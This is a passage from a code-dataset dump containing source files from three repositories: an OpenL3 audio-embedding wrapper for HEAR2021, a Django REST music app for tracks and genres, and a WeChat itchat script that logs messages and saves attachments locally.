0.10.1, 0.11.2, 0.11.3, 0.12.0, 0.12.1, 0.12.2, 0.12.3, 0.13.0, 0.13.1, 0.14.0, 0.14.1, 0.14.2, 0.14.3, 0.14.5, 0.15.0, 0.16.2, 0.17.1, 0.17.2, 0.18.0rc0, 0.18.0rc1, 0.18.0rc2, 0.18.0, 0.18.1, 0.18.2rc1, 0.18.2rc2, 0.18.2)\nERROR: No matching distribution found for scikit-image<0.15.0,>=0.14.3\n\n\nhear-validator\n\nCould be useful to log where module was loaded from\nmodule.__file__\n\ntimestamps should have same first dim as audio input vector (and embeddings).\nNot clear in docs\n\n" }, { "alpha_fraction": 0.6276955008506775, "alphanum_fraction": 0.6477007269859314, "avg_line_length": 28.35877799987793, "blob_id": "cad6b4cf98cf1e15b128008aedd86221501c0bf4", "content_id": "2d3ca4523ffa7790687839e1ff1a6ec7b3b7e6c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3849, "license_type": "no_license", "max_line_length": 110, "num_lines": 131, "path": "/openl3_hear/hear2021.py", "repo_name": "jonnor/openl3-hear", "src_encoding": "UTF-8", "text": "\n\"\"\"\nHEAR2021 API implementation\n\nAs per specifications in\nhttps://neuralaudio.ai/hear2021-holistic-evaluation-of-audio-representations.html\n\"\"\"\n\nHOP_SIZE_TIMESTAMPS = 0.050 # <50 ms recommended\nHOP_SIZE_SCENE = 0.5\n\nimport openl3\nimport numpy\nimport tensorflow as tf\n\n#import tensorflow_datasets\n#from tensorflow_datasets.typing import Tensor\n#from tensorflow.types.experimental import Tensor\nfrom typing import NewType, Tuple\nTensor = NewType('Tensor', object)\n\nclass Model(tf.Module):\n def __init__(self, model, sample_rate=16000, embedding_size=512):\n self.sample_rate = sample_rate\n self.scene_embedding_size = embedding_size\n self.timestamp_embedding_size = embedding_size\n\n self.openl3_model = model # the OpenL3 model instance \n\n\ndef load_model(model_file_path: str) -> Model:\n # FIXME: respect model_file_path\n\n embedding_size = 512\n\n openl3_model = openl3.models.load_audio_embedding_model(input_repr=\"mel256\",\n content_type=\"music\",\n embedding_size=embedding_size,\n )\n\n model = Model(model=openl3_model, embedding_size=embedding_size)\n return model\n\nTimestampedEmbeddings = Tuple[Tensor, Tensor]\n\ndef get_timestamp_embeddings(\n audio: Tensor,\n model: Model,\n hop_size=HOP_SIZE_TIMESTAMPS,\n) -> TimestampedEmbeddings:\n \"\"\"\n audio: n_sounds x n_samples of mono audio in the range [-1, 1]\n model: Loaded Model. \n\n Returns:\n\n embedding: A float32 Tensor with shape (n_sounds, n_timestamp, model.timestamp_embedding_size).\n timestamps: Tensor. Centered timestamps in milliseconds corresponding to each embedding in the output.\n \"\"\"\n # pre-conditions\n assert len(audio.shape) == 2\n\n # get embeddings for a single audio clip\n def get_embedding(samples):\n emb, ts = openl3.get_audio_embedding(samples,\n sr=model.sample_rate,\n model=model.openl3_model,\n hop_size=hop_size,\n center=True,\n verbose=0,\n )\n\n return emb, ts\n\n # Compute embeddings for each clip\n embeddings = []\n timestamps = []\n for sound_no in range(audio.shape[0]):\n samples = numpy.array(audio[sound_no, :])\n emb, ts = get_embedding(samples)\n embeddings.append(emb)\n timestamps.append(ts)\n emb = numpy.stack(embeddings)\n ts = numpy.stack(timestamps)\n emb = tf.convert_to_tensor(emb)\n ts = tf.convert_to_tensor(ts)\n \n # post-conditions\n assert len(ts.shape) == 2 \n assert len(ts) >= 1\n assert emb.shape[0] == audio.shape[0]\n assert len(emb.shape) == 3, emb.shape\n assert ts.shape[0] == audio.shape[0]\n assert emb.shape[1] == ts.shape[1], (emb.shape, ts.shape)\n assert emb.shape[2] == model.timestamp_embedding_size\n if len(ts) >= 2:\n assert ts[0,1] == ts[0,0] + hop_size\n\n # XXX: are timestampes centered?\n # first results seems to be 0.0, which would indicate that window\n # starts at -window/2 ?\n #assert ts[0] > 0.0 and ts[0] < hop_size, ts\n return (emb, ts)\n\n\ndef get_scene_embeddings(\n audio: Tensor,\n model: Model,\n hop_size=HOP_SIZE_SCENE,\n) -> Tensor:\n\n \"\"\"\n audio: n_sounds x n_samples of mono audio in the range [-1, 1].\n model: Loaded Model.\n\n Returns:\n\n embedding: A float32 Tensor with shape (n_sounds, model.scene_embedding_size).\n \"\"\"\n assert len(audio.shape) == 2 \n\n embeddings, ts = get_timestamp_embeddings(audio, model, hop_size=hop_size)\n\n # FIXME: use TensorFlow Tensor instead. Using tf.constant ?\n emb = numpy.mean(embeddings, axis=1)\n emb = tf.convert_to_tensor(emb)\n\n assert len(emb.shape) == 2, emb.shape\n assert emb.shape[0] == audio.shape[0], (emb.shape, audio.shape)\n assert emb.shape[1] == model.scene_embedding_size, (emb.shape, audio.shape)\n\n return emb\n\n\n" } ]
7
amangarg078/Musicapp
https://github.com/amangarg078/Musicapp
d38feed92f4127298218bfe85fde7686c407ed60
0fe9d9711164ab2b4583a972e057dfe6b07408aa
8825675e5bba93c4ffcc326c36b6f0c7c8b6b8a2
refs/heads/master
2021-01-22T06:23:25.849909
2017-02-23T19:32:11
2017-02-23T19:32:11
81,756,648
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4903315007686615, "alphanum_fraction": 0.5359116196632385, "avg_line_length": 22.354839324951172, "blob_id": "7cfc9e4c78704f201bea8d1b17aa37e3890512d8", "content_id": "8a6c874800ffbab96a56bcf4b5f355b070625b12", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 724, "license_type": "no_license", "max_line_length": 48, "num_lines": 31, "path": "/MusicApp/app/migrations/0006_auto_20170212_0508.py", "repo_name": "amangarg078/Musicapp", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.10.1 on 2017-02-11 23:38\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('app', '0005_auto_20170212_0436'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='genres',\n name='date_created',\n ),\n migrations.RemoveField(\n model_name='genres',\n name='date_modified',\n ),\n migrations.RemoveField(\n model_name='tracks',\n name='date_created',\n ),\n migrations.RemoveField(\n model_name='tracks',\n name='date_modified',\n ),\n ]\n" }, { "alpha_fraction": 0.6499215364456177, "alphanum_fraction": 0.6514913439750671, "avg_line_length": 22.259260177612305, "blob_id": "b382ac6885872ea082700e55b490f2c16b31c7bf", "content_id": "578f7475432b9ea4e53d72e6b4c63792b11a56c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 637, "license_type": "no_license", "max_line_length": 58, "num_lines": 27, "path": "/MusicApp/app/serializers.py", "repo_name": "amangarg078/Musicapp", "src_encoding": "UTF-8", "text": "from .models import Tracks, Genres\nfrom rest_framework import serializers\n\n\nclass GenreSerializer(serializers.ModelSerializer):\n class Meta:\n model = Genres\n fields = ('id', 'name')\n\n\nclass GetTrackSerializer(serializers.ModelSerializer):\n # genre=GenreSerializer(source='genres_set',many=True)\n class Meta:\n model = Tracks\n fields = ('id', 'title', 'rating', 'genres')\n depth = 1\n\n\n\n\nclass TrackSerializer(serializers.ModelSerializer):\n\n\n # genre=GenreSerializer(source='genres_set',many=True)\n class Meta:\n model = Tracks\n fields = ('title', 'rating', 'genres')\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5707553029060364, "alphanum_fraction": 0.5763596892356873, "avg_line_length": 31.84937286376953, "blob_id": "9301574affb649cbfeabbc211fa2638f6f3bbf60", "content_id": "ec9062430dcf70e6fdf963280894aa7d30976908", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7851, "license_type": "no_license", "max_line_length": 98, "num_lines": 239, "path": "/MusicApp/app/views.py", "repo_name": "amangarg078/Musicapp", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\n\n# Create your views here.\nfrom django.shortcuts import render, get_object_or_404\nfrom .models import Tracks, Genres\nfrom app.forms import QueryForm, TrackForm, GenreForm\nfrom rest_framework import viewsets\nfrom django.http import HttpResponseRedirect\nfrom rest_framework import filters\nimport requests\nfrom django.core.urlresolvers import reverse\nfrom .serializers import TrackSerializer, GenreSerializer, GetTrackSerializer\n# Create your views here.\n\ndef get_pages(total):\n \"\"\"\n Get total number of pages, 5 being set as default pages in settings.py\n \"\"\"\n total_pages = (total / 5) + 1\n if total_pages > 1:\n has_other_pages = True\n else:\n has_other_pages = False\n return total_pages, has_other_pages\n\n\ndef get_pagination_fields(r):\n \"\"\"\n Get pagination fields\n \"\"\"\n pagination = {}\n next, prev = False, False\n if r.json()['next']:\n next = int(r.json()['next'].split('?page=')[1])\n current = next - 1\n\n if r.json()['previous']:\n prev_array = r.json()['previous'].split('?page=')\n if len(prev_array) == 1:\n prev = 1\n else:\n prev = int(prev_array[1])\n current = prev + 1\n\n pagination['next'] = next\n pagination['prev'] = prev\n pagination['current'] = current\n return pagination\n\n\ndef index(request):\n form = QueryForm()\n\n \"\"\"\n Pagination and data view logic\n \"\"\"\n host = request.get_host()\n page = request.GET.get('page')\n if page is not None:\n page = int(page)\n r = requests.get('http://%s/app/v1/tracks/' % host)\n total_pages, has_other_pages = get_pages(r.json()['count'])\n\n if total_pages >= page > 0:\n r = requests.get('http://%s/app/v1/tracks/?page=%d' % (host, page))\n result = r.json()['results']\n elif page < 0:\n r = requests.get('http://%s/app/v1/tracks/' % host)\n result = r.json()['results']\n elif page is None:\n r = requests.get('http://%s/app/v1/tracks/' % host)\n result = r.json()['results']\n else:\n r = requests.get('http://%s/app/v1/tracks/?page=%d' % (host, total_pages))\n result = r.json()['results']\n\n for i in result:\n i['rating'] = int(float(i['rating']))\n i['rating_empty'] = range(5 - i['rating'])\n i['rating'] = range(i['rating'])\n\n for i in result:\n lis = []\n for j in i['genres']:\n lis.append(j['name'])\n i['genre_list'] = \" | \".join(lis)\n\n if request.GET.get('name'):\n name = request.GET.get('name')\n r = requests.get('http://%s/app/v1/tracks/?title=%s' % (host, name))\n result = r.json()['results']\n for i in result:\n i['rating'] = int(float(i['rating']))\n i['rating_empty'] = range(5 - i['rating'])\n i['rating'] = range(i['rating'])\n\n for i in result:\n lis = []\n for j in i['genres']:\n lis.append(j['name'])\n i['genre_list'] = \" | \".join(lis)\n\n count = len(result)\n return render(request, 'app/index.html', {'result': result, 'count': count, 'form': form})\n count = len(result)\n\n total_pages = range(1, total_pages + 1)\n pagination = get_pagination_fields(r)\n pagination['total_pages'] = total_pages\n pagination['has_other_pages'] = has_other_pages\n\n return render(request, 'app/index.html',\n {'form': form, 'count': count, 'result': result, 'pagination': pagination})\n\n\ndef add_track(request):\n host = request.get_host()\n if request.method == 'POST':\n form = TrackForm(request.POST)\n if form.is_valid():\n title = form.cleaned_data['title']\n rating = form.cleaned_data['rating']\n genre_set = form.cleaned_data['genres']\n genres = []\n for i in genre_set:\n genres.append(i.id)\n r = requests.post('http://%s/app/v1/tracks/' % host,\n data={'title': title, 'rating': rating, 'genres': genres})\n\n return HttpResponseRedirect(reverse('index'))\n else:\n print form.errors\n else:\n form = TrackForm()\n return render(request, 'app/upload.html', {'form': form})\n\n\ndef add_genre(request):\n host = request.get_host()\n if request.method == 'POST':\n form = GenreForm(request.POST)\n if form.is_valid():\n name = form.cleaned_data['name']\n r = requests.post('http://%s/app/v1/genres/' % host, data={'name': name})\n return HttpResponseRedirect(reverse('genre_list'))\n else:\n print form.errors\n else:\n form = GenreForm()\n return render(request, 'app/addgenre.html', {'form': form})\n\n\ndef genrelist(request):\n \"\"\"\n Pagination and data view logic\n \"\"\"\n host = request.get_host()\n page = request.GET.get('page')\n if page is not None:\n page = int(page)\n r = requests.get('http://%s/app/v1/genres/' % host)\n total_pages, has_other_pages = get_pages(r.json()['count'])\n\n if total_pages >= page > 0:\n r = requests.get('http://%s/app/v1/genres/?page=%d' % (host, page))\n result = r.json()['results']\n elif page < 0:\n r = requests.get('http://%s/app/v1/genres/' % host)\n result = r.json()['results']\n elif page is None:\n r = requests.get('http://%s/app/v1/genres/' % host)\n result = r.json()['results']\n else:\n r = requests.get('http://%s/app/v1/genres/?page=%d' % (host, total_pages))\n result = r.json()['results']\n\n total_pages = range(1, total_pages + 1)\n pagination = get_pagination_fields(r)\n pagination['total_pages'] = total_pages\n pagination['has_other_pages'] = has_other_pages\n\n return render(request, 'app/genrelist.html', {'result': result, 'pagination': pagination})\n\n\ndef trackDetails(request, id):\n host = request.get_host()\n track = get_object_or_404(Tracks, pk=id)\n if request.method == \"POST\":\n form = TrackForm(request.POST, instance=track)\n if form.is_valid():\n title = form.cleaned_data['title']\n rating = form.cleaned_data['rating']\n genre_set = form.cleaned_data['genres']\n genres = []\n for i in genre_set:\n genres.append(i.id)\n r = requests.put('http://%s/app/v1/tracks/' % host,\n data={'title': title, 'rating': rating, 'genres': genres})\n\n return HttpResponseRedirect(reverse('index'))\n else:\n form = TrackForm(instance=track)\n return render(request, 'app/trackdetails.html', {'track': track, 'form': form})\n\n\ndef genreDetails(request, id):\n host = request.get_host()\n genre = get_object_or_404(Genres, pk=id)\n if request.method == \"POST\":\n form = GenreForm(request.POST, instance=genre)\n if form.is_valid():\n name = form.cleaned_data['name']\n r = requests.put('http://%s/app/v1/genres/%s/' % (host, id), data={'name': name})\n return HttpResponseRedirect(reverse('genre_list'))\n else:\n form = GenreForm(instance=genre)\n return render(request, 'app/genredetails.html', {'genre': genre, 'form': form})\n\n\nclass GenreViewSet(viewsets.ModelViewSet):\n \"\"\"\n API endpoint that allows genre to be viewed or edited.\n \"\"\"\n queryset = Genres.objects.all().order_by('id')\n serializer_class = GenreSerializer\n\n\nclass TracksViewSet(viewsets.ModelViewSet):\n \"\"\"\n API endpoint that allows track to be viewed or edited.\n \"\"\"\n filter_backends = (filters.DjangoFilterBackend,)\n filter_fields = ('title',)\n queryset = Tracks.objects.all().order_by('id')\n\n def get_serializer_class(self):\n if self.action == 'list' or self.action == 'retrieve':\n return GetTrackSerializer\n return TrackSerializer\n" }, { "alpha_fraction": 0.6689466238021851, "alphanum_fraction": 0.6757866144180298, "avg_line_length": 44.75, "blob_id": "7e7455f5f3f2b1eed5e5217d3d9f4f8c24d39160", "content_id": "bb33008716aca346838ffaee36a9aceefb39d301", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 731, "license_type": "no_license", "max_line_length": 83, "num_lines": 16, "path": "/MusicApp/app/urls.py", "repo_name": "amangarg078/Musicapp", "src_encoding": "UTF-8", "text": "from django.conf.urls import url,include\nfrom rest_framework import routers\nfrom . import views\nrouter = routers.DefaultRouter()\nrouter.register(r'genres', views.GenreViewSet)\nrouter.register(r'tracks', views.TracksViewSet)\nurlpatterns=[\n url(r'^$', views.index, name='index'),\n url(r'^v1/', include(router.urls)),\n url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')),\n url(r'^addtrack/$',views.add_track, name='add_track'),\n url(r'^addgenre/$',views.add_genre, name='add_genre'),\n url(r'^genre/$',views.genrelist, name='genre_list'),\n url(r'^track/(?P<id>[0-9]+)/$',views.trackDetails, name='edit_track'),\n url(r'^genre/(?P<id>[0-9]+)/$',views.genreDetails, name='edit_genre'),\n]" }, { "alpha_fraction": 0.5536912679672241, "alphanum_fraction": 0.56767338514328, "avg_line_length": 36.25, "blob_id": "3cae6ca6ce0d994ecb75ec2ca40a0fe126fd58a1", "content_id": "aafd8a02af09bada9cfba360dca7f3dca83c8f1d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1788, "license_type": "no_license", "max_line_length": 114, "num_lines": 48, "path": "/MusicApp/app/migrations/0001_initial.py", "repo_name": "amangarg078/Musicapp", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.10.1 on 2017-02-11 06:02\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Genre',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('genre_name', models.CharField(max_length=128)),\n ('date_created', models.DateTimeField(auto_now_add=True)),\n ('date_modified', models.DateTimeField(auto_now=True)),\n ],\n ),\n migrations.CreateModel(\n name='TrackGenre',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('genre', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.models.Genres')),\n ],\n ),\n migrations.CreateModel(\n name='Tracks',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('title', models.CharField(max_length=128)),\n ('rating', models.DecimalField(decimal_places=1, max_digits=2)),\n ('date_created', models.DateTimeField(auto_now_add=True)),\n ('date_modified', models.DateTimeField(auto_now=True)),\n ],\n ),\n migrations.AddField(\n model_name='trackgenre',\n name='track',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.Tracks'),\n ),\n ]\n" }, { "alpha_fraction": 0.383508563041687, "alphanum_fraction": 0.4189263880252838, "avg_line_length": 15.573394775390625, "blob_id": "833c1a77ccfe1db9e8c311a8aa902820e11e4514", "content_id": "571da84c75802c4c2adaef836bc95ee9734be793", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3616, "license_type": "no_license", "max_line_length": 207, "num_lines": 218, "path": "/README.md", "repo_name": "amangarg078/Musicapp", "src_encoding": "UTF-8", "text": "# Musicapp\n\nThis is a django application that stores tracks and genres. User can see list of all tracks, search track by title, create and edit a track. Also, a user can see all the genres present, add and edit a genre.\n\nEach action also has a corresponding REST Api which can be used to perform these operations.\n\nThe application is hosted at: http://aman078.pythonanywhere.com/app/ \n\n<b>API Documentation</b>\n\nGenre\n\nList all Genres\n\nHttp GET to http://localhost:8000/app/v1/genres\n```\n{\n \"count\": 531,\n \"next\": \"http://localhost:8000/app/v1/genres?page=2\",\n \"previous\": null,\n \"results\": [\n \n {\n \"id\": 11,\n \"name\": \"pop\"\n },\n {\n \"id\": 19,\n \"name\": \"hip hop\"\n },\n {\n \"id\": 20,\n \"name\": \"classical\"\n },\n {\n \"id\": 21,\n \"name\": \"indie-rock\"\n }\n ]\n}\n```\n\nGet single Genre record\n\nHttp GET to http://localhost:8000/app/v1/genres/11\n\n```\n{\n \"id\": 11,\n \"name\": \"pop\"\n}\n```\n\n\nEdit Genre Record\n\nHttp POST to http://localhost:8000/app/v1/genres/11\n\nAccepted response\n\n```\n{\n \"id\": 11,\n \"name\": \"bollywood\"\n}\n```\n\n\nCreate new Genre\n\nHttp POST to http://localhost:8000/app/v1/genres\n\nAccepted response\n\n```\n{\n \"name\": \"bollywood\"\n}\n```\n\n\nTrack\n\nList all Tracks\n\nHttp GET to http://localhost:8000/app/v1/tracks\n\n```\n{\n \"count\": 362,\n \"next\": \"http://localhost:8000/app/v1/tracks?page=2\",\n \"previous\": null,\n \"results\": [\n {\n \"id\": 38,\n \"title\": \"Hey Jude\",\n \"rating\": \"4.9\",\n \"genres\": [\n {\n \"id\": 5,\n \"name\": \"ramesh\"\n }\n ]\n },\n {\n \"id\": 39,\n \"title\": \"hello adele\",\n \"rating\": \"4.0\",\n \"genres\": [\n {\n \"id\": 4,\n \"name\": \"bollywood\"\n },\n {\n \"id\": 8,\n \"name\": \"metakai\"\n }\n ]\n },\n {\n \"id\": 43,\n \"title\": \"Eshun EDM\",\n \"rating\": \"5.0\",\n \"genres\": [\n {\n \"id\": 6,\n \"name\": \"tap\"\n }\n ]\n },\n \n ]\n}\n```\n\n\nSearch Tracks with title\n\nHttp GET to http://localhost:8000/app/v1/tracks?title=Hymn%20for%20the%20weekend\n\n```\n{\n \"count\": 1,\n \"next\": null,\n \"previous\": null,\n \"results\": [\n {\n \"id\": 44,\n \"title\": \"Hymn for the weekend\",\n \"rating\": \"1.0\",\n \"genres\": [\n {\n \"id\": 23,\n \"name\": \"new test\"\n }\n ]\n }\n ]\n}\n```\n\n\nGet single Track record\n\nHttp GET to http://localhost:8000/app/v1/tracks/44\n\n```\n{\n \"count\": 1,\n \"next\": null,\n \"previous\": null,\n \"results\": [\n {\n \"id\": 44,\n \"title\": \"Hymn for the weekend\",\n \"rating\": \"1.0\",\n \"genres\": [\n {\n \"id\": 23,\n \"name\": \"new test\"\n }\n ]\n }\n ]\n}\n```\n\n \nEdit Track Record\n\nHttp POST to http://localhost:8000/app/v1/tracks/1\n\nAccepted response\n```\n{\n \"id\": 1,\n \"title\": \"animals\",\n \"rating\": 4.5,\n \"genres\": [\n 1\n ]\n}\n```\n\nCreate new Track\n\nHttp POST to http://localhost:8000/app/v1/tracks\n\nAccepted response\n```\n{\n \"title\": \"animals\",\n \"rating\": 4.5,\n \"genres\": [\n 1\n ]\n}\n```\n\n" }, { "alpha_fraction": 0.5596330165863037, "alphanum_fraction": 0.5653669834136963, "avg_line_length": 25.42424201965332, "blob_id": "d9e5d59ceae1e5c5765d1e7e31bac4b8ed84714f", "content_id": "5e0c1c57df0c3068a64ec56fed79beb1b03003e0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 872, "license_type": "no_license", "max_line_length": 56, "num_lines": 33, "path": "/MusicApp/app/forms.py", "repo_name": "amangarg078/Musicapp", "src_encoding": "UTF-8", "text": "from django import forms\n\nfrom .models import Tracks, Genres\n\n\nclass QueryForm(forms.Form):\n name = forms.CharField(max_length=128)\n\n\nclass TrackForm(forms.ModelForm):\n def __init__(self, *args, **kwargs):\n super(TrackForm, self).__init__(*args, **kwargs)\n for field in iter(self.fields):\n self.fields[field].widget.attrs.update({\n 'class': 'form-control col-lg-8 '\n })\n\n class Meta:\n model = Tracks\n fields = ['title', 'rating', 'genres']\n\n\nclass GenreForm(forms.ModelForm):\n def __init__(self, *args, **kwargs):\n super(GenreForm, self).__init__(*args, **kwargs)\n for field in iter(self.fields):\n self.fields[field].widget.attrs.update({\n 'class': 'form-control col-lg-8 '\n })\n\n class Meta:\n model = Genres\n fields = ['name']\n" }, { "alpha_fraction": 0.6821561455726624, "alphanum_fraction": 0.6988847851753235, "avg_line_length": 25.899999618530273, "blob_id": "703b481a2b6fe793a093e8b530dc9688635eb052", "content_id": "e473a4a2115c96e1eeb4c509bbe295ea670bece2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 538, "license_type": "no_license", "max_line_length": 66, "num_lines": 20, "path": "/MusicApp/app/models.py", "repo_name": "amangarg078/Musicapp", "src_encoding": "UTF-8", "text": "from __future__ import unicode_literals\nfrom django.db import models\n\n# Create your models here.\nclass Genres(models.Model):\n name = models.CharField(max_length=128)\n\n def __unicode__(self):\n return self.name\n\n\nclass Tracks(models.Model):\n # id=models.AutoField(primary_key=True,default=1)\n title = models.CharField(max_length=128)\n\n rating = models.DecimalField(max_digits=2, decimal_places=1)\n genres = models.ManyToManyField(Genres, related_name='tracks')\n\n def __unicode__(self):\n return self.title\n" }, { "alpha_fraction": 0.5052493214607239, "alphanum_fraction": 0.5485564470291138, "avg_line_length": 23.580644607543945, "blob_id": "e06aa3f3eaceb01b93b6540a64abb18735b1f524", "content_id": "a66cb3acdf3911283d384dc75fa5c08388a5ffea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 762, "license_type": "no_license", "max_line_length": 81, "num_lines": 31, "path": "/MusicApp/app/migrations/0005_auto_20170212_0436.py", "repo_name": "amangarg078/Musicapp", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.10.1 on 2017-02-11 23:06\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('app', '0004_auto_20170212_0423'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='trackgenre',\n name='genre',\n ),\n migrations.RemoveField(\n model_name='trackgenre',\n name='track',\n ),\n migrations.AddField(\n model_name='tracks',\n name='genres',\n field=models.ManyToManyField(related_name='tracks', to='app.Genres'),\n ),\n migrations.DeleteModel(\n name='TrackGenre',\n ),\n ]\n" } ]
9
jiangjinjinyxt/wechat
https://github.com/jiangjinjinyxt/wechat
da1bc729a8d342fe0433a81f79174d43b772fdae
706c1b0fef22c01ffbd67bdf9b9aaa6fdb272ee6
34ad62f77089dcdc417823fec1c1ffad5991cec2
refs/heads/master
2021-07-12T06:11:39.878073
2017-10-09T01:49:00
2017-10-09T01:49:00
106,222,057
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5559362769126892, "alphanum_fraction": 0.5610758662223816, "avg_line_length": 34.59146499633789, "blob_id": "fea73975ddfc77635664044dae845a3d6614043f", "content_id": "28bf4fe8b2321487ddd7528123fc8c326dee4d97", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6279, "license_type": "no_license", "max_line_length": 188, "num_lines": 164, "path": "/loadWechatFile.py", "repo_name": "jiangjinjinyxt/wechat", "src_encoding": "UTF-8", "text": "import itchat\nfrom itchat.content import TEXT, PICTURE, FRIENDS, CARD, MAP, SHARING, RECORDING, ATTACHMENT, VIDEO\nimport re\nimport os\nimport datetime\nimport openpyxl\nimport collections\n\ndef sendMessageToFriend(remark_name, content_):\n \"\"\"\n :param remark_name: str obj. 可以传入用户原来的微信名 或者 你标注的名称\n :param content_: str obj.\n :return:\n\n nickName: 是微信用户自己取的名字\n remarkName: 是标注(别人)的名字\n \"\"\"\n try:\n author = itchat.search_friends(nickName=remark_name)[0]\n except IndexError as e:\n print(e)\n try:\n author = itchat.search_friends(remarkName=remark_name)[0]\n except IndexError as e:\n print(e)\n try:\n author.send(content_)\n except UnboundLocalError as e:\n print(e)\n# sendMessageToFriend('岳雪婷', \"你在和机器人对话\")\n\n\ndef sendMessageToChatroom(remark_name, content_):\n \"\"\"\n :param remark_name: str obj. 只能传入群聊原来的名称\n :param content_: str obj.\n :return:\n \"\"\"\n try:\n chatroom = itchat.search_chatrooms(name=remark_name)[0]\n except IndexError as e:\n print(e)\n try:\n chatroom.send(content_)\n except UnboundLocalError as e:\n print(e)\n# sendMessageToChatroom('饭醉与赌博小分队', \"你在和机器人对话\")\n \n\ndef processMsg(msg, msg_from):\n \"\"\"\n :param msg:\n :param msg_from:\n :return:\n \"\"\"\n global current_date\n global rejected_chars\n if msg['FileName'] == \"新邮件通知\":\n msg_content = \"Email from {}\".format(msg['User']['NickName'])\n elif msg['Type'] == 'Text' or msg_from == 'weixin': \n msg_content = msg['Text'] \n #如果发送的消息是附件、视屏、图片、语音, 分享\n elif msg['Type'] == \"Attachment\" or msg['Type'] == \"Video\" or msg['Type'] == 'Picture' or msg['Type'] == 'Recording' or msg['Type'] == 'Sharing':\n msg_content = msg['FileName'] \n # download 并保存在 \"文件发送人/文件发送日期\"目录下\n # 进一步可以根据 文件类型细分(根据.txt/.mp3等区分)\n file_dir, file_name = msg_from, msg_content\n file_dir = re.sub(rejected_chars, '', file_dir)\n if not os.path.exists(file_dir):\n os.mkdir(file_dir)\n if not os.path.exists(\"{}/{}\".format(file_dir, current_date)):\n os.mkdir(\"{}/{}\".format(file_dir, current_date))\n if msg['Type'] != 'Sharing':\n to_file = \"{}/{}/{}\".format(file_dir, current_date, file_name)\n msg['Text'](to_file)\n else:\n to_file = \"{}/{}/微信分享.xlsx\".format(file_dir, current_date)\n try:\n book = openpyxl.load_workbook(to_file)\n sheet = book.get_active_sheet()\n except FileNotFoundError:\n book = openpyxl.Workbook()\n sheet = book.get_active_sheet()\n sheet['A1'] = \"主题\"\n sheet['B1'] = \"链接\"\n rows = sheet.max_row\n for row in range(1, rows+1):\n if sheet['B{}'.format(row)].value == msg['Url']:\n return\n sheet[\"A{}\".format(rows + 1)] = msg['FileName']\n sheet['B{}'.format(rows + 1)] = msg['Url']\n book.save(to_file)\n else:\n return None\n return msg_content\n \n\[email protected]_register([TEXT, PICTURE, FRIENDS, CARD, MAP, SHARING, RECORDING, ATTACHMENT, VIDEO],isFriendChat=True, isGroupChat=True, isMpChat=True)\ndef handleReceiveMsg(msg):\n global message_id_list\n global message_id\n global friend_list\n global message_list\n # 腾讯企业邮箱的邮件通知\n message_list.append(msg)\n if msg['FileName'] == \"新邮件通知\":\n if not msg['MsgId'] in message_id_list:\n message_id_list.append(msg['MsgId'])\n print(\"Email from {}\".format(msg['User']['NickName']))\n return None\n if \"ActualNickName\" not in msg.keys():\n try:\n # 个人消息\n msg_from = friend_list[msg['FromUserName']]\n msg_to = friend_list[msg['ToUserName']]\n message_type = 0\n except KeyError as e:\n # 推送消息\n try:\n msg_from = msg['User']['NickName']\n except:\n msg_from = msg['FromUserName']\n message_type = 1\n else:\n # 群消息\n try:\n msg_from = msg['User']['RemarkName']\n if not len(msg_from):\n msg_from = msg['User']['NickName']\n message_type = 2\n # itchat无法解析有些群的名称\n except KeyError as e:\n return\n \n msg_content = processMsg(msg, msg_from)\n # !!Warning itchat对同一消息会进行多次反馈,需要根据MsgId过滤\n if (not msg_content) or (msg['MsgId'] in message_id_list):\n pass\n else:\n message_id_list.append(msg['MsgId'])\n if message_type == 0:\n msg_content = \"ID:{:>3} |{:*^20}|\\n{} {} 对 {}: {}\".format(message_id, \"个人消息\", ' '*7, msg_from, msg_to, msg_content)\n elif message_type == 1:\n msg_content = \"ID:{:>3} |{:*^20}|\\n{} {}: {}\".format(message_id, \"推送\", ' '*7, msg_from, msg_content)\n else:\n msg_content = \"ID:{:>3} |{:*^20}|\\n{} {}: {}\".format(message_id, \"群消息From {}\".format(msg_from), ' '*7, len(msg['ActualNickName']) and msg['ActualNickName'] or \"我\", msg_content)\n print (msg_content)\n message_id += 1\n\n\nif __name__ == \"__main__\":\n message_id_list = 